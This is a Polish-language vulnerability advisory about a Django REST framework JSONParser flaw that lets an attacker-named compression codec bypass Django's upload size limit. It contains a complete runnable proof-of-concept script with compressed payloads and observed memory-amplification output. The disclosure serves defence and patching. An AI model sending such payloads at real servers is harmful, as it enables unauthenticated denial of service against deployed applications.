Wysoka

Django REST framework: JSONParser stosuje kodek wskazany przez atakującego do strumienia żądania

  • Ujawniono: 22.10.2026
  • Aktualizacja: 25.10.2026 10:00

Podsumowanie

Nieuwierzytelniony atakujący może obejść limit DATA_UPLOAD_MAX_MEMORY_SIZE w Django i zmusić proces roboczy do zaalokowania dowolnej ilości pamięci poprzez wskazanie kodeka kompresji w parametrze charset nagłówka Content-Type. Treść żądania o wielkości 108 bajtów generuje w widoku wartość o długości 50,331,648 znaków, co daje współczynnik amplifikacji rzędu 466,033 i zwiększa szczytowy RSS procesu o około 97 MiB. Poza domyślnym zestawem parserów DRF nie jest wymagana żadna dodatkowa konfiguracja aplikacji; punkt końcowy musi jedynie akceptować treść w formacie JSON.

Szczegóły

JSONParser.parse dekoduje treść żądania za pomocą zestawu znaków dostarczonego przez klienta w nagłówku Content-Type:

python
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
    raise ParseError('JSON parse error - %s' % str(exc))

Spośród około 455 nazw kodeków rozpoznawanych przez codecs.lookup w CPython 3.14, około 18 to transformacje bajtowe zamiast zestawów znaków: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec i podobne. codecs.getreader jest jedynym punktem wejścia w module codecs, który nie odpytuje CodecInfo._is_text_encoding, przez co akceptuje je wszystkie. Wysłanie Content-Type: application/json; charset=bz2_codec powoduje opakowanie strumienia żądania w dekompresor bz2, zanim json.load go odczyta.

Podatność wynika z kolejności operacji. Django rozlicza DATA_UPLOAD_MAX_MEMORY_SIZE na podstawie bajtów odebranych z sieci: rest_framework/request.py przekazuje do JSONParser obiekt io.BytesIO(self.body), a HttpRequest.body jest miejscem, w którym działa _check_data_too_big(). Dekompresja następuje później, wewnątrz parsera, gdzie żaden mechanizm nie zlicza danych.

Jest to błąd DRF, a nie Django. Django przetwarza parametr charset i przypisuje request.encoding, a codecs.lookup rozpoznaje transformacje bajtowe, jednak każdy konsument request.encoding w Django korzysta z API kodeków tekstowych i kończy działanie błędem (fail-closed). Zarówno bytes.decode('bz2_codec'), jak i str(raw, 'bz2_codec') zgłaszają LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs. DRF jest jedynym wywołującym, który przekazuje strumień żądania do codecs.getreader.

FormParser (parsers.py:84) oraz MultiPartParser (parsers.py:104-118) przyjmują to samo kodowanie określone przez klienta, lecz kończą działanie błędem zamiast dokonywać amplifikacji.

Miejsce ujścia zostało wprowadzone przez 9a228116 (PR #5147, 2017-05-24, „Improve memory footprint when reading large JSON requests”), wydane po raz pierwszy w 3.6.4. Ostatni komentarz w tym PR zauważa, że zamierzona oszczędność pamięci nie występuje, ponieważ read() dekoduje cały strumień — ta sama właściwość sprawia, że ekspansja jest nieograniczona. Od tego czasu nie dodano żadnego sprawdzenia _is_text_encoding.

Jednolinijkowa poprawka w parsers.py:61-64:

python
if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

PoC

Zapisz jako poc_charset_amplification.py i uruchom. Skrypt buduje własne ładunki, uruchamia każde ramię w osobnym podprocesie (szczytowy RSS to wartość maksymalna, więc pomiar kilku ramion w jednym procesie raportuje niemal zerowy wzrost dla każdego ramienia po pierwszym) i wyświetla wynik.

python
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []


def build_payloads():
    import bz2
    import zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
    blobs = {
        "plain.bin": plain,
        "bz2.bin": bz2.compress(plain, 9),
        "zlib.bin": zlib.compress(plain, 9),
    }
    for name, blob in blobs.items():
        with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
            fh.write(blob)
    return {name: len(blob) for name, blob in blobs.items()}


def configure_django():
    from django.conf import settings

    settings.configure(
        DEBUG=False,
        ALLOWED_HOSTS=["testserver"],
        SECRET_KEY="poc",
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "rest_framework",
        ],
        DATABASES={
            "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
        },
        DEFAULT_CHARSET="utf-8",
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=None,
        USE_TZ=True,
    )
    import django

    django.setup()


def build_view():
    from rest_framework.response import Response
    from rest_framework.views import APIView

    class Echo(APIView):
        authentication_classes = []
        permission_classes = []

        def post(self, request):
            data = request.data
            VIEW_RAN.append(True)
            value = data.get("a") if isinstance(data, dict) else None
            return Response(
                {"parsed_value_len": len(value) if isinstance(value, str) else None}
            )

    return Echo


def __getattr__(name):
    # ROOT_URLCONF points at this module; build urlpatterns lazily.
    if name == "urlpatterns":
        from django.urls import path

        value = [path("x", build_view().as_view())]
        globals()["urlpatterns"] = value
        return value
    raise AttributeError(name)


def peak_rss_kib():
    """Peak resident size of this process. /proc is used where available because
    ru_maxrss does not track the calling process on every kernel."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmHWM:"):
                    return int(line.split(":")[1].strip().split()[0])
    except OSError:
        pass
    import resource

    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


def run_arm(arm):
    payload_name, content_type = ARMS[arm]
    with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
        body = fh.read()

    configure_django()
    from django.test import Client, RequestFactory

    client = Client(raise_request_exception=False)
    # Warm every lazily imported module so the delta measures the request only.
    client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic("POST", "/x", data=body, content_type=content_type)
    after = peak_rss_kib()

    parsed_len = None
    if response.status_code == 200:
        try:
            parsed_len = json.loads(response.content).get("parsed_value_len")
        except ValueError:
            pass

    # Second reading via a bare RequestFactory so the exception class is visible
    # directly instead of inferred from a status code.
    request = RequestFactory().generic(
        "POST", "/x", data=body, content_type=content_type
    )
    try:
        direct = {"status_code": build_view().as_view()(request).status_code}
    except BaseException as exc:  # noqa: BLE001 - naming the class is the point
        direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}

    return {
        "arm": arm,
        "content_type": content_type,
        "transmitted_bytes": len(body),
        "body_sha256": hashlib.sha256(body).hexdigest(),
        "status_code": response.status_code,
        "view_body_executed": bool(VIEW_RAN),
        "parsed_value_len": parsed_len,
        "amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
        "peak_rss_delta_mib": round((after - before) / 1024.0, 1),
        "direct_dispatch": direct,
    }


def check(arm, r):
    if arm in ("T", "C3"):
        return (
            r["status_code"] == 200
            and r["view_body_executed"]
            and r["parsed_value_len"] == PAYLOAD_CHARS
            and r["amplification_ratio"] >= 700
        )
    if arm == "C1":
        return (
            r["status_code"] != 200
            and not r["view_body_executed"]
            and r["direct_dispatch"].get("exception")
            == "django.core.exceptions.RequestDataTooBig"
        )
    if arm == "C2":
        return r["status_code"] == 400 and not r["view_body_executed"]
    raise AssertionError(arm)


def main():
    if "--arm" in sys.argv:
        print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
        return 0

    sizes = build_payloads()
    print(f"# payload sizes: {sizes}")
    print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
    print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")

    ok = True
    results = {}
    for arm in ("T", "C1", "C2", "C3"):
        proc = subprocess.run(
            [sys.executable, os.path.abspath(__file__), "--arm", arm],
            capture_output=True,
            text=True,
        )
        if proc.returncode != 0:
            print(f"{arm}: harness failed\n{proc.stderr}")
            return 2
        r = json.loads(proc.stdout.strip().splitlines()[-1])
        results[arm] = r
        passed = check(arm, r)
        ok = ok and passed
        print(f"=== {arm}  [{'as described' if passed else 'NOT as described'}]")
        print(f"    expected: {EXPECTED[arm]}")
        print(json.dumps(r, indent=6))
        print()

    print("=== summary")
    for arm, r in results.items():
        print(
            f"    {arm:3} wire={r['transmitted_bytes']:>9}B  status={r['status_code']}  "
            f"parsed_len={r['parsed_value_len']}  ratio={r['amplification_ratio']}  "
            f"peak_rss_delta={r['peak_rss_delta_mib']} MiB  view_ran={r['view_body_executed']}"
        )
    print(f"\n    T and C1 and C2: {'all held' if ok else 'NOT all held'}")
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())

Zaobserwowany wynik skrócony do bloku podsumowania:

# payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# JSON string value under test: 50331648 characters

=== summary
    T   wire=      108B  status=200  parsed_len=50331648  ratio=466033.8  peak_rss_delta=96.8 MiB  view_ran=True
    C1  wire= 50331656B  status=400  parsed_len=None      ratio=None      peak_rss_delta=48.3 MiB  view_ran=False
    C2  wire=      108B  status=400  parsed_len=None      ratio=None      peak_rss_delta=0.0 MiB   view_ran=False
    C3  wire=    48941B  status=200  parsed_len=50331648  ratio=1028.4    peak_rss_delta=95.2 MiB  view_ran=True

    T and C1 and C2: all held

C1 potwierdza, że limit rozmiaru działa i jest skonfigurowany, zatem 200 w T stanowi obejście zabezpieczenia, a nie jego brak. C1 raportuje własny wzrost RSS, ponieważ klient przechowuje ładunek o wielkości 48 MiB przed odrzuceniem go przez limit — jest to koszt po stronie klienta, który nigdy nie trafia do widoku. C2 niesie główny ciężar: jego treść jest identyczna pod względem bajtów z T, różni się jedynie nazwa kodeka. Wartości RSS różnią się o kilka MiB pomiędzy uruchomieniami.

Powtórzenie wszystkich czterech ramion na Django 5.2.17 LTS dało 109 bajtów z sieci na 50,331,648 znaków, 461,758x, przy czym zarówno C1, jak i C2 zachowały swoje limity.

Uwaga w przypadku samodzielnej implementacji żądania: użyj Client.generic() lub RequestFactory().generic(). Zarówno Client.post(), jak i RequestFactory.post() przepychają treść przez force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), co niszczy skompresowany ładunek zanim parser zdoła go przetworzyć.

Wpływ

Nieuwierzytelniona odmowa usługi poprzez amplifikację pamięci przeciwko dowolnemu punktowi końcowemu akceptującemu treść JSON z domyślnym zestawem parserów. Podatne jest każde wdrożenie na wersji 3.6.4 lub nowszej i żaden kod aplikacji ani wybór konfiguracji nie jest potrzebny, aby podatność występowała. Pamięć jest alokowana na czas żądania i zwalniana po jego zakończeniu, dlatego luka jest oceniana wyłącznie pod kątem dostępności, a nie jako krytyczna. Jednak współczynnik amplifikacji sprawia, że niewielka liczba równoległych żądań może wyczerpać zasoby procesu roboczego. Kilkaset bajtów alokuje setki megabajtów, a żaden mechanizm w DRF ani w Django nie ogranicza rozmiaru po rozpakowaniu.

Co trzeba zrobić

Zaktualizuj pakiet do wersji 3.18.2 lub nowszej. Alternatywnie zastosuj jednolinijkową poprawkę w parsers.py:61-64:

python
if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) djangorestframework >= 3.6.4, < 3.18.2 3.18.2

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-409, CWE-770
Platforma
Python (PyPI)
Paczka
djangorestframework
Ujawniono
22.10.2026
Aktualizacja
25.10.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-3547-9m27-7rxg - CC BY 4.0

Historia podatności: djangorestframework

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
6
Pierwsza → ostatnia
09.2020 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 2
  • Średnia 3
  • Niska 1

Ujawnienia w latach

  1. 2020: 1
  2. 2021: 0
  3. 2022: 0
  4. 2023: 0
  5. 2024: 1
  6. 2025: 0
  7. 2026: 4
  1. Wysoka · 7.4 CVE-2026-114137 >= 3.12.0, < 3.18.2 3.18.2
  2. Django REST framework: JSONParser stosuje kodek wskazany przez atakującego do strumienia żądania ten wpis
    Wysoka · 7.5 CVE-2026-114136 >= 3.6.4, < 3.18.2 3.18.2
  3. Niska · 6.1 CVE-2024-21520 < 3.15.2 3.15.2
  4. Średnia · 6.1 CVE-2020-25626 < 3.11.2 3.11.2

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.